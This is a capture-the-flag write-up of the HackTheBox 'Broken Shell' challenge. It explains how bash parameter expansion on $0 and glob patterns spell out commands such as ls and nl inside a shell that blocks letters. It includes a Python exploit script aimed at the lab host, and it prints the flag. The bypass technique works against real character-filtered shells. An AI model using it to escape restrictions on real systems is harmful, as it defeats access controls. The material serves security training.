miscfreemedium

Broken Shell

hackthebox

Task: Escape a restricted bash shell that only allows numbers and special characters (no letters). Solution: Use bash parameter expansion ${var:offset:length} to extract letters from $0 variable and construct commands like 'ls' and 'nl'.

$ ls tags/ techniques/
bash_parameter_expansionglob_patternscharacter_extraction

Broken Shell — HackTheBox

Description

A "secure sandbox environment" that only allows specific symbols and numbers. The challenge presents a restricted bash shell where only certain characters are permitted.

Allowed characters:

^[0-9${}/?"[:space:]:&>_=()]+$

This means:

  • Numbers 0-9
  • $, {, }, /, ?, ", spaces, :, &, >, _, =, (, )
  • NO letters allowed!

Analysis

The key insight is that bash's parameter expansion ${var:offset:length} allows extracting individual characters from variables without using letters directly.

The $0 variable contained the script path: /home/restricted_user/broken_shell.sh

This gave us access to letters at specific positions:

PositionCharacter
1h
2o
3m
4e
6r
8s
9t
11i
12c
15d
16_
17u
22b
25k
27n
32l

Solution

Step 1: List files with ls

Construct ls using parameter expansion:

${0:32:1}${0:8:1} # l(32) + s(8) = "ls"

Output revealed: this_is_the_flag_gg

Step 2: Read file with nl (number lines)

${0:27:1}${0:32:1} ??????????????????? # n(27) + l(32) = "nl" # ??????????????????? = glob pattern matching 19-character filename

Output:

     1	'This file contains the flag. The problem is that it is not on the first line so you have to read the whole file to get it :) '
     2	'
     3	HTB{?y0u?4r3?4?tru3?b45h?3xp3rt}

Alternative Commands

Other commands that could be constructed from available characters:

  • source: ${0:8:1}${0:2:1}${0:17:1}${0:6:1}${0:12:1}${0:4:1} (s+o+u+r+c+e)
  • sort: ${0:8:1}${0:2:1}${0:6:1}${0:9:1} (s+o+r+t)
  • more: ${0:3:1}${0:2:1}${0:6:1}${0:4:1} (m+o+r+e)

Full Exploit Script

#!/usr/bin/env python3 """ Broken Shell - HackTheBox Jail Escape Uses bash parameter expansion to construct commands without letters """ import socket HOST = "94.237.120.233" PORT = 33556 def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) return s def send_cmd(s, cmd): s.send((cmd + "\n").encode()) return s.recv(4096).decode() # $0 = /home/restricted_user/broken_shell.sh # Positions: h(1) o(2) m(3) e(4) r(6) s(8) t(9) i(11) c(12) d(15) _(16) u(17) b(22) k(25) n(27) l(32) # Construct "ls" ls_cmd = '${0:32:1}${0:8:1}' # l + s # Construct "nl" (number lines - reads whole file) nl_cmd = '${0:27:1}${0:32:1}' # n + l # Glob pattern for 19-character filename "this_is_the_flag_gg" filename = '?' * 19 s = connect() print(s.recv(4096).decode()) # Banner # List files print(f"[*] Sending: {ls_cmd}") print(send_cmd(s, ls_cmd)) # Read flag file cmd = f'{nl_cmd} {filename}' print(f"[*] Sending: {cmd}") print(send_cmd(s, cmd)) s.close()

Key Indicators

Use this technique when:

  • Restricted shell with limited character set
  • Letters are blocked but ${} syntax is allowed
  • $0 or other variables contain useful characters
  • Glob patterns (?, *) are permitted
  • Bash parameter expansion ${var:offset:length} is available

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups